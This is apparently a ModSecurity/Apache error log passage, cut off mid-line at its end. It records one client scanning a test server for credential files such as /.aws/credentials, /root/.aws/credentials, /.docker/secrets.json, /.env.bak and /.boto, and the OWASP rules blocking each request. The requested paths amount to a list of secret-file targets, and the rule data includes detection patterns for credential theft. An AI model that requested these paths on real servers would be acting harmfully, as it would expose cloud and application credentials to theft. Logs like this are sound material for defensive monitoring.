[Sun Mar 01 20:25:34.350902 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/secrets.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/secrets.json&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3wwAAAAY&quot;]
[Sun Mar 01 20:25:34.351164 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/secrets.json&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3wwAAAAY&quot;]
[Sun Mar 01 20:25:34.351327 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/secrets.json&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3wwAAAAY&quot;]
[Sun Mar 01 20:25:34.605447 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3zgAAAAY&quot;]
[Sun Mar 01 20:25:34.605709 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3zgAAAAY&quot;]
[Sun Mar 01 20:25:34.605890 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3zgAAAAY&quot;]
[Sun Mar 01 20:25:34.651347 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI30AAAAAY&quot;]
[Sun Mar 01 20:25:34.651618 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI30AAAAAY&quot;]
[Sun Mar 01 20:25:34.651788 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI30AAAAAY&quot;]
[Sun Mar 01 20:25:34.904009 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI32wAAAAY&quot;]
[Sun Mar 01 20:25:34.904266 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI32wAAAAY&quot;]
[Sun Mar 01 20:25:34.904431 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI32wAAAAY&quot;]
[Sun Mar 01 20:25:34.926658 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.aws&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI33AAAAAY&quot;]
[Sun Mar 01 20:25:34.926910 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.aws&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI33AAAAAY&quot;]
[Sun Mar 01 20:25:34.927080 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.aws&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI33AAAAAY&quot;]
[Sun Mar 01 20:25:35.132656 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3.key&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35QAAAAY&quot;]
[Sun Mar 01 20:25:35.133167 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3.key&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35QAAAAY&quot;]
[Sun Mar 01 20:25:35.133353 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3.key&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35QAAAAY&quot;]
[Sun Mar 01 20:25:35.178208 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35wAAAAY&quot;]
[Sun Mar 01 20:25:35.178538 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35wAAAAY&quot;]
[Sun Mar 01 20:25:35.178769 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35wAAAAY&quot;]
[Sun Mar 01 20:25:35.178923 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI35wAAAAY&quot;]
[Sun Mar 01 20:25:35.201031 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36AAAAAY&quot;]
[Sun Mar 01 20:25:35.201279 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36AAAAAY&quot;]
[Sun Mar 01 20:25:35.201434 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36AAAAAY&quot;]
[Sun Mar 01 20:25:35.223602 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /root/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/config&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36QAAAAY&quot;]
[Sun Mar 01 20:25:35.223825 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/config&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36QAAAAY&quot;]
[Sun Mar 01 20:25:35.223990 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/config&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36QAAAAY&quot;]
[Sun Mar 01 20:25:35.246212 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/*/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36gAAAAY&quot;]
[Sun Mar 01 20:25:35.246498 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36gAAAAY&quot;]
[Sun Mar 01 20:25:35.246657 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36gAAAAY&quot;]
[Sun Mar 01 20:25:35.268848 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 